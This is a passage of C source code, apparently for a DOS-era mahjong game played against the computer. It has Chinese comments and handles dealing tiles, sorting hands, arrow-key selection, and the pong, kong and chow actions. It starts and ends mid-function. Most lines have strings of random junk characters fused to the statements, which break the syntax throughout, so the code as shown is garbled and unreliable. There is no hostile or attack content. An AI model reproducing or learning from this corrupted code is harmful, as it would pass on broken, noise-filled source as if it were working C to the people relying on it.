m[temp].data2=1; /*判断牌是谁的*/, G, Y" J' L4 y. x3 B
kk=1;
7 {0 G1 X- D7 h0 ]% J* l( z}! [% M* O1 J6 g6 r/ g9 p
if(kk==0) /*判断如果又选择了，就从新再选*/
% p9 c) P" }) W+ g{
+ T% [& }- u5 i; xme.m++;
6 L- u* s. C* W r+ s; kn--;
3 B3 z' N: [* n}
" C- Z1 C% i+ L- Cme.m--;+ y5 Z. Z# \ F0 ^
n++;
2 r, a2 L& j" N4 A. n# rkk=0;
6 U; a( ]$ i. w* {6 G}
5 P% x1 k3 S& [8 lme.m=12;
 }' h. k" c. n) P( emelipai(); /*理牌*/
7 t, ~/ ?) d, ^% W# W, E$ m
# i9 l7 _) ?- }' Nn=13;
/ b$ j9 g- C' r- B! i: [while(l<n)
, _: E0 p# a. |, p{
: I" h1 }- p& K& {z=z+20;2 ]) s x ~1 l
showbmp(l);# D& J2 @ t- K7 j) ~9 j$ C
l++;
/ t. w( G1 H) k4 i, c
" r; F& L" L1 P& P" l}
8 B. G( w2 n3 ^% Irandomize();/ r4 J6 _) N- _+ u4 s0 x) i
computer.m=oneorthirteen;7 I% W2 M9 I0 k+ V$ r/ g
n=0;' G6 u4 y7 i1 e$ y% b
while(computer.m>0) /*循环，给对方拿牌*/
0 h1 _$ o7 V; {/ ? g, @{2 j' ~1 }9 N0 n% Y0 D8 a7 ] _
temp=random(136);3 F* g. Y! w% k% F/ Z
if(m[temp].data2==0 && m[temp].data1==0)5 h/ Z/ \3 X W9 p% s
{
% A8 o1 X8 R! \8 ?& O$ kcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
2 D$ D& q% o) o* v wcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
: h. }# _* }, w1 u* E2 wcomputer.pp[n].number=temp; /*第几张，用来排序*/
3 S4 }$ u7 R( P S4 vm[temp].data2=2; /*判断牌是谁的，2为电脑*/$ j9 g" m3 b$ @# ]7 R0 W
kk=1;5 {9 E$ d( s9 ]
}5 w9 V) `4 i% ^7 c0 W! h
if(kk==0) /*判断如果又选择了，就从新再选*/5 a8 t# V6 G4 i5 b( k& _
{ ) R! F1 Q; }$ z" I( K8 g* \& Q; T3 U
computer.m++;
( p% L4 Y4 {) j5 Dn--;' @. b) w# y. y" l' K% i, l4 H
}
( ]/ S9 e8 N# f% t( c* O" n) ycomputer.m--;; W! a0 A A7 J& J8 A7 d
n++;
4 d" L% _ s! b) Qkk=0;
0 b& o H# P0 U0 W5 {}
: U# ?+ @, G/ Q/ q& e Icomputer.m=12;0 K* e! B1 }) o" j
comlipai(); /*电脑理牌*/
& U: F- z; T+ N$ Z5 v. @* {n=13;; P8 A1 G5 Q, B! E' W. R# L* \% S
while(ll<n)
* O6 z% B3 a2 O/ x{6 V; H4 V7 a2 X
zy=zy+20;5 m) N3 J0 _- n7 y( n* |# \& I
showybmp(ll);7 E2 q9 O# v* g% V6 s/ f1 R1 R
ll++;7 W0 d: Q4 N3 u) S- ]$ e. ^
}1 h( E! @; w: L, [: _5 S, A

# q8 B* |7 x, |& Y. wz=54400;
; e7 K! i5 K4 g9 ^$ w& F& p- ~while(key!=ESC)$ J( B) X& D3 X! ^9 g
{ G! M( F1 X- y7 I7 a/ x/ U

7 Q9 [+ k7 V+ ?8 |9 B0 P* }keyy=bioskey(0);! y3 Q# U& t$ ]
if(keyy==LEFT)
( b% t+ N: Q: N, s{ w=1;
2 K9 ~) ~3 f u; S: c* o1 s6 |) F' dif(every==0)
+ ` v) n" l. v- h1 w{
2 c2 z" {! i. ^4 z+ Aevery=1;# s. Y3 i5 t) r( W# M
z=54440-5*320;) W0 \- s( Q8 _

5 M2 w- Y. S- t* b}5 T# e1 f% \ @7 d0 o. T/ W6 T
zz=zz+5*320;
4 p( C% \8 l, z3 Z( Y* j9 Ishowbmp(every);
; o. r. Y+ x0 `$ W* T: qif(every==0): y+ O |8 ^/ B1 N% X/ P
{2 j+ [/ E2 h, L8 |
x1=20;
0 _" E- y' w& H2 H- p5 Xy1=165;8 ?' j- q T% I8 N
fillRectangle(x1,y1,x1+20,y1+4,0);) I' c9 G6 n- x& D3 g: O% K8 `
}
/ b; i8 e# ~) Y3 aif(every==1)) M9 b( a* l/ m7 |) U/ e+ v
{
8 V; e) l5 R" F7 o/ Dx1=40;
( m* U) q' M* Z& C/ r8 q# |y1=165;
7 v- `( B T+ e6 D) U) V% mfillRectangle(x1,y1,x1+20,y1+4,0);" V" H. E$ p- E, d, ~3 h1 D
}
 _1 g4 e4 U9 g& g" R# g3 W( E' \if(every==2)8 t2 |1 M: `# w. S# ~: S
{
% L' V) J& K k& [- V" |4 E% Jx1=60;
5 E, N& ~3 D7 a( m9 j4 a+ H4 v Z8 yy1=165;6 {9 M1 G, W, ?* U
fillRectangle(x1,y1,x1+20,y1+4,0);
! i; v. t, {3 H}
0 b( R( w0 Y) a: {+ t% _if(every==3)
# {$ z- W# A4 @% }3 E+ w1 I{: d* W& s# w% O% \3 C) a
x1=80;6 Y, ^ L! y" r3 [
y1=165; @+ e% i$ [' ?, k
fillRectangle(x1,y1,x1+20,y1+4,0);' S+ f" i2 W6 Z! @+ ~1 z1 j
}
! M9 ~) @% J% P7 d Lif(every==4)9 l% Q+ f" m; D9 f9 {, \! w$ Z0 r
{& z% g6 G, I O( q S
x1=100;
' @ k( W, k. m% U( @8 `y1=165;$ }" u2 ?1 f4 k% ~. z
fillRectangle(x1,y1,x1+20,y1+4,0);
4 T( u: G2 I# C- T) p}# r) ?; @/ B- ^- P6 t* E- e% E8 u6 V
if(every==5), D. X" [+ A5 E
{
! }' m( c, |5 G' R2 B" F# Y9 `/ xx1=120;
1 p* Y5 V# O3 @: T' Z, ^y1=165;9 o9 h- L, D' {! D" W2 w
fillRectangle(x1,y1,x1+20,y1+4,0);7 f; n8 M1 V+ k8 g8 ^+ E
}
' f1 x3 { \: E u% d4 W/ ?' sif(every==6) I l+ b m% o7 c, O
{( i5 `- H! $ _- o7 j
x1=140;; K1 h. \- _/ Y" d ~
y1=165;: p) m8 L& \3 J
fillRectangle(x1,y1,x1+20,y1+4,0);% T! N3 r4 y5 m5 `
}4 r; z* \, G3 O5 F3 ~
if(every==7)
1 j; w6 p4 \ c2 u- ^" Z5 a% G# Q{
/ U- f3 i* @6 `6 z# }x1=160;
3 h. Q. Z8 b7 ny1=165;
0 D4 h& X# J2 }3 D+ e$ ffillRectangle(x1,y1,x1+20,y1+4,0);; B+ {3 f6 @7 @8 y8 d0 }0 M+ s
}
5 C$ J% ^/ y. o c# H7 G0 n1 ^if(every==8)
; a* }$ A& h: K3 ~3 r" l. T- [{ b2 C V' d3 | N
x1=180;
 ~' C, z" F: }$ c) \y1=165;; z$ p; W* l O( [5 v2 _
fillRectangle(x1,y1,x1+20,y1+4,0);$ T$ G+ `% [& N' S6 ?5 B
}
+ \8 |; t4 H( Gif(every==9)
' K) @7 M" E- ~+ G' O% a+ b2 G{1 @* W+ G- [. u6 W& z
x1=200;& M+ F+ t K) y1 x- h, D
y1=165;
: O+ j* U: d* ]+ ^3 tfillRectangle(x1,y1,x1+20,y1+4,0);
9 ]0 f5 N2 M$ u}
4 p* R. `& k% |6 t1 e' h: Qif(every==10) a" w) c! L0 @: [- c2 l0 d
{2 S, i6 J. M, `2 f9 }
x1=220;
$ J) c' G* R! T' Ay1=165;
; H O7 x/ O- \3 S7 `; ?) X, A7 ifillRectangle(x1,y1,x1+20,y1+4,0);
! G% H. n: $ ]; J" V$ @7 o& ^1 w}
, u7 N% L8 O& ?if(every==11)5 r2 j ?: s8 w. d
{
- ^ Q. \$ O7 [' r' T3 Dx1=240;
7 ~( K' g& s% p/ U i% B6 L5 a% Jy1=165;! {" t' C6 [8 l- S/ r
fillRectangle(x1,y1,x1+20,y1+4,0);
! m) ]4 F: Z0 I! A0 j: C}5 B% q' g# z# e# R
if(every==12)
! f( E& B Z0 L{
1 J6 c7 C/ F& h" v1 E3 tx1=260;
: q+ w. D3 ~, S# |. t. C' F8 Py1=165;
0 C) h" A- z# Z& J" {4 r& T- U, ffillRectangle(x1,y1,x1+20,y1+4,0);
$ @& L4 A0 _' g1 n6 X( P}
. `$ y2 G+ E3 ]3 l3 pzz=0;9 O3 B. o! F- J) ]" k/ ^
every--;9 V' O# Z! |5 { J; r5 I' N
z=z-20;
. e8 G& W( {% |& v: w, w! K}
( l6 ^4 i/ A$ L% S6 x5 `if(keyy==RIGHT)
4 D- f/ N0 u. o% W5 z$ A; g$ @0 a: K{ if(w==0)
: e. Y/ d2 W0 v, O$ G+ `' u% W{. r- W a& P9 L' W8 C4 O b C/ b
z=54440-5*320;" i% U- h- `2 p. M
z=z-20;
( f* Y! E$ I0 W% s6 Uw=1;9 C5 a; n/ \' W: Y) q
}
! E5 X0 e4 D4 K1 b( cif(every==12)
* Z8 t( x7 F) l. a8 t{* I$ S* d* d4 }) f
every=11;
& B* j0 E' m6 G% Gz=54640-5*320;6 J' j% G# Y( m* g6 W
}
- V% S/ k. l" k/ ~zz=zz+5*320;
. g& j' W* }; h7 r% k; oshowbmp(every);# n5 [8 a7 u: Q! E
if(every==0); l, N+ w& u" o8 Z* c# w/ }
{; f8 O# ~( B: f6 a) q6 |
x1=20;
; K1 o* P Q) z, y1 g- Gy1=165;
8 B+ `, S1 B* o0 P* ?( R- h9 ofillRectangle(x1,y1,x1+20,y1+4,0);
. [* r, h# T$ E6 h" Y9 p8 ]* z} X, J+ f# I5 m( e% _: V* I
if(every==1); i, ~! J0 O2 U+ R. i9 L6 m+ O, K
{) d3 i3 B7 I; a
x1=40;
; |6 n0 V- R7 j2 s% N9 [2 o! Qy1=165;
7 ]* Y5 m0 \7 z% B6 R) B$ u/ ifillRectangle(x1,y1,x1+20,y1+4,0); R9 a* k: J! W8 u; @
}
7 I7 L' J% l/ kif(every==2); p8 i0 v3 C" a1 ~
{4 w. }/ g% M4 h+ N7 g0 a
x1=60; c5 r( ^ F/ h9 _) ?2 m5 ]9 G" p
y1=165;4 Q9 Z9 u$ x2 j# R5 V- N0 J
fillRectangle(x1,y1,x1+20,y1+4,0);
0 u$ v r, b- F. Y1 c* |% K}
5 `# Y/ p, ~ K w Qif(every==3) ?/ Z7 _# b& \& w0 \
{1 {4 n" v' l; d: f0 p6 B! p( p
x1=80;# M9 H- S* B8 Z2 L* h& @5 d
y1=165;; a4 I% `% r7 V9 p* U, x/ d8 {* u, G
fillRectangle(x1,y1,x1+20,y1+4,0);. t# G. Y9 |/ Q
}, ?' C4 x2 y! K5 R8 g1 R9 {* u5 h
if(every==4)5 J- H$ ^# G3 x; T5 b% ~
{0 ^" O# C, u. A3 @4 X8 v
x1=100;
3 R7 F+ D y' v! Ty1=165;& f6 L5 }( p3 z6 T/ b
fillRectangle(x1,y1,x1+20,y1+4,0);
0 z; \! [4 b6 ]: w}
4 K3 a" h, {. zif(every==5)
9 m" S. p7 Y; P& o/ L{# M6 t5 Q. M" j6 N3 \" B
x1=120;
6 N& A0 |$ `7 yy1=165;; m; m) k* N+ L7 t# H+ j
fillRectangle(x1,y1,x1+20,y1+4,0);# ? \7 D% O. h
}+ [' u$ m; o6 O0 y W
if(every==6)
8 O$ `: [6 W" W ?2 n6 \{) ^; q0 h$ _) ]5 ^7 p
x1=140;2 m: {& k ^: U7 V6 X8 Z' c
y1=165;
& d1 e' E/ c: [" N5 o5 JfillRectangle(x1,y1,x1+20,y1+4,0);& p0 o' e* y. B& |: @
}6 j/ l% j/ c* G
if(every==7)& z4 e2 ^) m7 Z n) o
{. |6 y+ d( A6 y3 P, m
x1=160;
% q0 V+ r+ ?6 G- r* V; f* A$ by1=165;
0 x) g/ M' V B4 v! X% ~7 NfillRectangle(x1,y1,x1+20,y1+4,0);
2 Z1 E# V8 z/ F, m ^9 x}
* [$ ~/ |# x7 s1 \( wif(every==8)
& K6 h( ^2 r& f9 K( ]{. y* q6 v, L4 X5 R6 | H! n. ?
x1=180;7 f+ J7 j2 [5 m
y1=165;, E" }. Y4 T' ~/ {3 y, o
fillRectangle(x1,y1,x1+20,y1+4,0);
0 j+ ^' A: b5 O8 t. z/ b}
- [8 e3 m: |/ d2 s( m8 uif(every==9)
4 x' T% m5 {$ `8 X{5 [2 M: V* V4 f1 r w- }
x1=200;! j4 L2 t7 ]6 `+ a
y1=165;1 E) ^3 }1 Q: J( v
fillRectangle(x1,y1,x1+20,y1+4,0);1 y S" k7 E. ~9 h g
}$ y! S0 F( s( k, F
if(every==10)1 F* t2 s0 x' _# ^
{8 j; H' ~! e% q0 b0 d ~/ |* ]( T
x1=220;2 Q/ S( A4 \$ X6 [" Q ^- ]9 y' a
y1=165;) E4 ?9 I. k ] \/ s& {% \
fillRectangle(x1,y1,x1+20,y1+4,0);6 a5 ]& v/ k( R1 s7 J* m
}4 d5 G% |9 E2 u* `$ g) [0 H' ~
if(every==11) C: W0 {2 ]5 F) x. F. T0 C
{4 K2 Y' a5 D" W N* g+ d( z0 F
x1=240;
8 C: Y. m' \& K( C$ [' }; ]+ C- iy1=165;% R. s# L* A' w3 a6 U" H
fillRectangle(x1,y1,x1+20,y1+4,0);, F! `# @% J' L5 K6 u5 s: m
}) C- q+ o7 P3 a! ?5 C
if(every==12)
& P) t* G- G" e5 y8 `{
* l c! J- g/ @* ~: ^, z7 _x1=260;
/ \" s: f% {7 }: |# ?y1=165;
/ M7 G2 m/ w4 R2 rfillRectangle(x1,y1,x1+20,y1+4,0);3 R( A* u% ?" I8 Y+ O" I
}
4 q O6 J5 k# b+ I7 Z3 \, O5 ^2 {0 c. F9 @1 o
zz=0;: z* Z. h+ C* o) Y
every++;- l/ o1 `) U3 a
z=z+20;
# W8 E' A- p) o4 A! E% j L8 p}6 |2 z: N, M. b. Y- g& w, L. d
showbmp(every);
/ x$ l( w: \5 A0 Q. X( Qkey=keyy;
* s' J O) u0 F _. `if(keyy==ENTER)( k6 L( ], ?$ [5 ]/ ?
{
# M9 a( M1 `3 K3 ?rgzn(every); /*********************/
4 \4 T2 g( i% ]! Sif(sing==1) /*如果可以乓，做相应的处理*/1 J; Z" a, S/ v7 g. P
{ 8 B% `" m9 D$ O: N* v% ^0 P
kkk=0;
4 h! o8 o4 p$ @5 s: ckkkk=0;
2 K$ T2 k) j( j! W1 k5 d- {while(kkk<=computer.m)
- F- W4 g/ v" n/ h# j( C3 M/ {{4 g% A2 d/ C2 S- X/ c' J0 a
if(computer.pp[kkk].p!=1)7 L; [; R2 u$ j8 l- Z
{
: J2 s* j* t6 |# F1 qcomp.pp[kkkk].k=computer.pp[kkk].k;9 k: |" T4 Z8 A' [" C
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
9 e6 Y9 u0 o' B' k$ _comp.pp[kkkk].number=computer.pp[kkk].number;4 F" b7 n0 v+ J' F: T* X
kkkk++;
$ V- c5 a9 i5 e" J) m}
& v; f4 u) e3 X7 t& H( Helse) T5 v0 P* }( R0 _" k
{" ^8 W0 j; u3 m1 H+ b, B4 G
m[computer.pp[kkk].number].data1=1;5 s; Q1 F5 |% r' [( k6 f4 g- A
dwei=computer.pp[kkk].number;
2 s: B1 S @: z& a) a7 b* Wcomputer.pp[kkk].p=0;
}
3 x4 N' g; i5 \1 w9 Zkkk++;3 J: Z$ X5 T y
}
# a/ _, h* x3 ~$ I) }: }% ell=0;
; }8 P/ u" x9 y4 a$ i1 X
' o3 p u) |5 S5 z; P# hwhile(ll<3)9 }$ z# R( N4 }2 j6 _2 d4 L; A0 ^
{ zl=zl+20;% }3 f$ ]% \2 u4 _" [: I
bmpp(dwei); /*显示乓的牌*/
* M: u( W) c& L/ s9 dll++;
! o, w! w1 w2 a, \}
/ F1 Z9 J4 z7 }6 V" C- q
/ X, C+ [6 I4 B5 Czl=zl+9600-60;. J9 y d& R5 w6 W
kkk=0;
8 ^1 {( X6 P( `8 C3 Acomputer.m=computer.m-2;5 z. R# E4 S7 ~
while(kkk<=computer.m). \- r9 F; g) ?/ U2 @( N7 U
{ o- \/ f0 E* R) R" U/ J, h: j
computer.pp[kkk].k=comp.pp[kkk].k;
, ~0 ]) r. P6 X! t! T1 q* G- ^0 Y9 @1 @computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;6 i! R/ e4 q2 I* v$ g
computer.pp[kkk].number=comp.pp[kkk].number;
% M' t. v2 t- [8 fkkk++;
1 P- l. x6 P$ n- C" u+ U0 Y}
6 J6 L( Z* X8 Q4 {ll=0;
 `6 o& |& J. G3 itemp=random(computer.m); /*出牌等待完善*/
7 ]! v0 J2 { t1 U2 c5 O3 M- ozyy=zyy+9280+20;; M% }6 y: A! D/ g; ^
showcbmp(temp);
) q- i! L4 j7 b# P4 Z; Fzyy=zyy-9280;# S2 j8 |& F+ R! N# C
/*****/, O6 I& ?% @! V1 b+ t& z
rgznme(temp); ) n5 I9 I& E/ R" j! r
panduan();
# m: v+ Q& i* U9 ]; r9 c' P0 ?if(me.m==0)
6 e# V$ o/ ]6 o, n/ oif(second==1 && threes==0)
) C/ d2 V2 H& L; e/ Fprintf("you win!");
1 Q4 K4 b8 F4 C. Z( aif(me.m==3)! M7 `# B+ J1 I
if(second==1 && threes==1)
! Z! H a9 x' Zprintf("you win!"); c1 ?3 Z+ z) N
if(me.m==6)- `! C+ D6 J. |3 W6 x. Z
if(second==1 && threes==2)0 [9 X" }# {/ q
printf("you win!");
 z9 k8 Y" j8 a( h+ xif(me.m==9)
# a4 u+ ]6 O2 X7 h+ ~* g$ wif(second==1 && threes==3) W6 I) W/ {- ^' C) \+ ^4 C
printf("you win!");) _) q+ K: h# R/ U7 J
if(me.m==12)- S& V7 Y6 x, L$ X" e, b; R- z8 [
if(second==1 && threes==4)
. R# X5 s7 Q# L* N0 ^7 }$ a+ Gprintf("you win!");
- F w. \1 w: k% r8 c
' D0 J: h8 S' @+ Skkk=0;
2 S) _0 L" L# q) Bkkkk=0;, P1 @% J4 j: T
while(kkk<=computer.m)
( [8 p3 \! ?+ U0 Q{4 X7 s( f9 Q3 }3 k8 ^, c
if(kkk!=temp)6 r0 l5 w0 C. G4 _
{
4 y# p& P+ _/ j6 ~( [- pcomp.pp[kkkk].k=computer.pp[kkk].k;1 B+ X9 o# y$ w. q( B7 S8 m
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
8 \: m) A: ~% s6 L9 Tcomp.pp[kkkk].number=computer.pp[kkk].number;' Z; ^+ O/ L, P+ F
kkkk++;8 u! s$ V* w0 T3 f7 A* F7 v) T
}" t: A8 l! o" S2 i& X
else
/ N$ r6 ~8 U! M9 z0 y/ Nm[computer.pp[kkk].number].data1=1;2 o) n* p+ m4 p& C* Y6 h& F
kkk++;- n B7 E9 `/ x) M8 I" s
}
! G# @: {$ U# s' H8 ~1 _kkk=0;
7 ]: v& w$ R# Q0 J2 m0 [computer.m=computer.m-1;
6 f: S) }1 A8 g2 h& swhile(kkk<=computer.m)
5 D+ h% L2 s8 z- x( l O{/ ^( R7 G5 _# A+ w
computer.pp[kkk].k=comp.pp[kkk].k;
$ v1 g* T) \) g4 `5 T% ]& _2 rcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
1 L- x/ I: s. m Lcomputer.pp[kkk].number=comp.pp[kkk].number;7 N2 h- Y9 |1 @: I2 v0 m6 u
kkk++;" t/ T4 C. T0 h2 W, u) C
}* [. r, ~# K: l0 a% l0 g: Z7 _6 i
fillRectangle(0,0,320,30,0);
! w6 ]* [: J* z3 x1 A in=computer.m;/ P5 G4 N) F. |% Z
ll=0;
( o% `# z1 ~& b- Q" ]zy=0;
 A& V- q. }" Owhile(ll<=n)- x9 D- W3 n/ h( e
{
: T" ~4 }" H s/ }9 a1 s8 ?5 e( gzy=zy+20;9 @$ M* [" _# q4 B' P
showybmp(ll);) Y+ r- D: q- F3 ]
ll++;
5 ?4 L1 B$ V; [7 u}
# E* g& P4 a' g) z0 s, d* hll=0;3 L5 g/ z D3 k7 u4 X2 B) a
getch();' x2 t8 ^+ f- H/ W, R! {1 l
sing=0;
0 J' U0 r1 Y+ S3 \; b5 [) J6 hsing1=1;4 J& V& g' g6 p. i2 W
}& K* E. l! U% Q# {/ O/ a4 \- K( N% K

, q3 e" X" y& M2 d Rif(sing==2) /*如果可以杠的做相应处理*/* F- |: Y4 Q- G
{
; G2 G2 z% k+ h/ Tkkk=0;/ [, _& o) E! V( g
kkkk=0;1 |1 }' U# |9 k+ z# ?, V
while(kkk<=computer.m)* p* a2 M6 m- V, l
{
, p, s% w$ W! L/ K# S" V# ~if(computer.pp[kkk].g!=1)- y! V* ?; S( \/ Q5 `8 j" A
{+ q e: i0 t% ^& J+ r: {) d/ G
comp.pp[kkkk].k=computer.pp[kkk].k;/ q$ d0 ?5 @$ d2 H" m: M9 E$ p: A
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
' _* Y+ s: v% _7 _; i" wcomp.pp[kkkk].number=computer.pp[kkk].number;6 k2 K$ n" {' A+ R7 h: a
kkkk++;8 n |! F/ w2 v/ E5 F
}3 m0 G/ K% t s; N$ R7 C+ H5 o* q
else
2 B* f9 a7 C3 D{
7 @; ]& d' T4 b1 m4 N( nm[computer.pp[kkk].number].data1=1;
0 l& z$ L8 G3 N( Udweig=computer.pp[kkk].number;7 v$ D" m- ^5 v- _2 @. J' u
computer.pp[kkk].g=0;3 H) ~+ R8 M; s" ]" g3 `/ o
}
; E4 j2 e! v( x. {; jkkk++;
/ h: ]: S: I8 b}
0 J) p* @" \4 N# tll=0;3 l6 ~* _7 y% ]
4 R$ Y! W) g) y' a7 o$ p
while(ll<=3)' x- d8 v4 q; v; G, J! V
{ zl=zl+20;
- s6 `4 C7 ~8 B* I- ~( J$ X, Dbmpp(dweig); /*显示杠的牌*/
% Z! l3 Z; P) Y- o+ C! Jll++;# W. V+ l1 U$ L8 K% Y
}
$ N9 T+ K5 P1 ?% E; Z/ U0 lzl=zl+9600-60; Y s$ r5 H/ ]6 K
kkk=0;1 A: S2 o& t+ Y! s
computer.m=computer.m-3;: G! a5 V4 |! e0 `$ ^; T
while(kkk<=computer.m)0 m( w# t& X. J2 W2 J
{( |1 v+ a( o8 B8 S
computer.pp[kkk].k=comp.pp[kkk].k;
7 R3 n& ^" |' e! R# f* J/ Ccomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
( V4 \/ Y3 X b3 W; Ucomputer.pp[kkk].number=comp.pp[kkk].number;* f V5 X. H* n& j( A+ k B
kkk++;
8 P* ^% R" L# n' U: y}
 a: w: H# w* s; s3 skk=0;- K% G! I- u$ n6 e, G
computer.m++; /*加一个牌的容量*/9 J+ x. q( y: G
while(kk!=1)
0 P9 y& G" j: C8 v. f, L{( k( o# b/ j: y2 Z; B
temp=random(136); /*出牌*/
& ~1 }4 c9 j, W& b: s- [+ B) S# _if(m[temp].data2==0 && m[temp].data1==0)
0 L/ M2 `, e, I- f$ w{
3 w0 e: O& m- a. `computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
* p! G9 q/ [1 h6 hcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
, K$ \4 O1 t/ I& a4 f( w. b! @computer.pp[computer.m].number=temp; /*第几张，用来排序*/
& f- m7 U A. z" r( ]% K4 x/ @m[temp].data2=2; /*判断牌是谁的，2为电脑*/9 P* C0 |$ R" ~& W5 T/ n
kk=1;
' b4 L/ w! H7 p9 i- ~}
, T: {3 ?! D7 z2 k5 s}
. p, c: h1 A) h3 s+ P5 b( J" zcomlipai();" q4 f5 }* T: z* [. k
temp=random(computer.m); /*出牌，等待完善*/( M, |1 }) l* v" D1 \# z! W/ N2 W
zyy=zyy+9280+20;
: \/ ]6 l5 V* g7 T# z( Z! {1 ^showcbmp(temp);1 L. {7 r+ p6 M* Q1 `
zyy=zyy-9280;
( G) J* M4 m5 x! E6 `/*****/
' ]% u% x" w+ s8 s" k. Nrgznme(temp);3 g1 ~/ d/ b0 Q- \
panduan();" S/ R" k7 [; ^0 K( T
if(me.m==0)9 \. }6 y& m, l, f# X: J T, T
if(second==1 && threes==0)) X' u: j9 R+ ]
printf("you win!");
( e7 X1 Y/ w8 Y: t' k/ t( {if(me.m==3), @' X3 b" b' u* i: i4 T+ o2 U. X# Z
if(second==1 && threes==1)! B+ S: \3 M( h1 a$ l% W6 E
printf("you win!");2 g, C7 P4 w" Z( C2 l7 J+ l4 Z
if(me.m==6)* w# j. A$ w) F- c* x! F
if(second==1 && threes==2)
7 H- C( W9 a3 w ?8 @6 [3 f8 }printf("you win!");
. f, _2 }! ^% l7 ^9 ~if(me.m==9)
 O5 x! f# `! b2 C; nif(second==1 && threes==3)7 L6 T! c H& ^1 F" V, J
printf("you win!");
7 ?. w* F4 ~" _. p& _( s& {if(me.m==12)7 w$ X$ o# s! N k. M7 \
if(second==1 && threes==4)
+ P6 i) f4 `9 h6 j& H, X+ O* Wprintf("you win!");
7 ^' E$ F' C w2 R
+ ]" e0 i$ ? fkkk=0;
4 b! A6 r" {1 E6 y6 | [kkkk=0;
( {" j8 x) d5 Q$ S6 Xwhile(kkk<=computer.m) /*把未选的牌放到零时变量*/* B: i; D! j2 h8 w/ d
{
1 t3 d4 d( f6 e5 Pif(kkk!=temp)
# P1 q5 V6 w# d/ w- i. _{
9 T+ L+ M% _' v$ U+ w3 B O( ^" a, mcomp.pp[kkkk].k=computer.pp[kkk].k;
0 U# H; w6 h K4 \comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;6 y2 w% ]' O5 h m& r+ v5 k) F
comp.pp[kkkk].number=computer.pp[kkk].number;
7 v' L1 V/ L2 x; j& W4 Hkkkk++;) l: q4 j- l8 D& ~9 I
}0 q6 e' m9 `! i5 Z+ z4 ?8 \
else, K( i h( T" w( d
m[computer.pp[kkk].number].data1=1;) n! ]* u9 r; y( Y8 R! j- E* h, @
kkk++;- k& I/ F* k6 y, v
}
. v( M0 m4 b5 \+ X# w% l2 Z* D% Skkk=0;
, @' _8 n7 P: U2 ^! rcomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/0 k& z- I6 i) ^* {6 I0 H
while(kkk<=computer.m)
9 |6 a' |7 k x, Q+ u{
1 r& `, I8 X! jcomputer.pp[kkk].k=comp.pp[kkk].k;
' \0 Z" g% v. {" [computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
) t& P7 G3 T; C6 Jcomputer.pp[kkk].number=comp.pp[kkk].number;5 A1 h0 n9 N' z/ o
kkk++;, F" O8 X, n. C' G0 o
}6 r7 x) w; l4 [% v1 q1 C# T
fillRectangle(0,0,320,30,0);
/ \+ S) E/ \; c/ Oll=0;# I U# B# c1 M% k" s1 \' ~
zy=0;0 f0 w% C7 c7 Q9 w/ D& n' m' r* w. k
while(ll<=computer.m)
6 C% N2 S. I7 ~{, ?# X) T1 E* m9 D1 d/ L
zy=zy+20;
 d6 t( X9 I( Q9 ^) N) P+ N2 Fshowybmp(ll);. x2 O9 n: @8 n, g9 E+ t* B' [
ll++;6 e8 a+ b" q4 Z3 o
}
9 ?" { a0 u% e! |sing=0;
; h; L; x6 s$ j9 i) q: J! k" T2 bsing1=1;
; }" S2 j. ^. ~+ d}% {# b! u1 F" l$ m- L
if(sing==7) /*如果可以吃的，做相应处理*/
+ b! X$ u P! V( {' [{ nn=0;1 s0 Q1 I: H( A' h0 Q) l- i
kkk=0;
# X9 A0 Z& I# g4 Vkkkk=0;6 I7 R5 i# y: }! x3 F
while(kkk<=computer.m)
4 W. L' L, O: }) Y0 |8 D{' s: f+ F+ U3 H: V
if(computer.pp[kkk].c!=1)1 a4 d# G( q7 T6 o& w
{
1 |7 N' h! P( U8 f8 a+ p( Ecomp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;* |' L9 q" v/ y9 {) F4 \
comp.pp[kkkk].number=computer.pp[kkk].number;
# y" |! \, O9 }5 p2 U: a% R0 zkkkk++;+ @7 H% X3 I4 G6 ~
}# }% N3 n* C; v0 g. f; q
else9 L4 G: }) u1 g
{+ o) _, n8 o- q) ]" J- y( Q+ ~
m[computer.pp[kkk].number].data1=1;4 [3 }; y! \8 T: n
dw[nn++]=computer.pp[kkk].number;3 y1 D, j8 x1 n& O% `
computer.pp[kkk].c=0;. t6 ? }! S& T/ v
}% _: F p+ }# E& t$ g' I
kkk++;
) d8 r6 X" D% w, Y8 m9 j& u/ Y% ^}
* m# x% s! d, ~# l/ g
/ }7 W# u8 T3 ]: O8 @0 L. G8 ]if(me.pp[every].number<dw[0])
 w# z: z; X$ U' j; G. E{; n+ j% [* R9 S1 }7 X
dw[2]=dw[1];
/ I: |- @3 Y# Cdw[1]=dw[0];, g; m3 l3 h, T R0 q6 y
dw[0]=me.pp[every].number; Z/ y& ]% G; o% |
}
4 H! E1 P- T* fif(me.pp[every].number>dw[1])0 W6 r) O0 K! \; u
{/ T/ G/ ~- q& C( m
dw[2]=me.pp[every].number;
7 W2 R7 @5 C" @4 U2 i}0 E! ]2 C" i% [3 s
if(me.pp[every].number>dw[0] && me.pp[every].number<dw[1])' e S9 l2 e& W% F0 R
{! q/ Q% |8 O9 Q$ i: @
dw[2]=dw[1];0 `5 G. [& W1 l" }2 s+ c8 E* s
dw[1]=me.pp[every].number;. H% m5 o1 W( K( m
}, Z3 x* V6 R. s
nn=0;
1 V5 b) U+ v6 l( g! k3 Lwhile(nn<3)$ z" L) n- F$ ~% m5 l
{ zl=zl+20; U6 V% r7 l0 o! p) V% p
bmpp(dw[nn]); /*显示吃的牌*/ Z( k. B% _8 U1 z- r" A$ w* t
nn++;
$ t8 g% b$ N4 z, }- n/ J}, \# d# ]; u6 X2 ~4 Y& m8 \
zl=zl+9600-60;
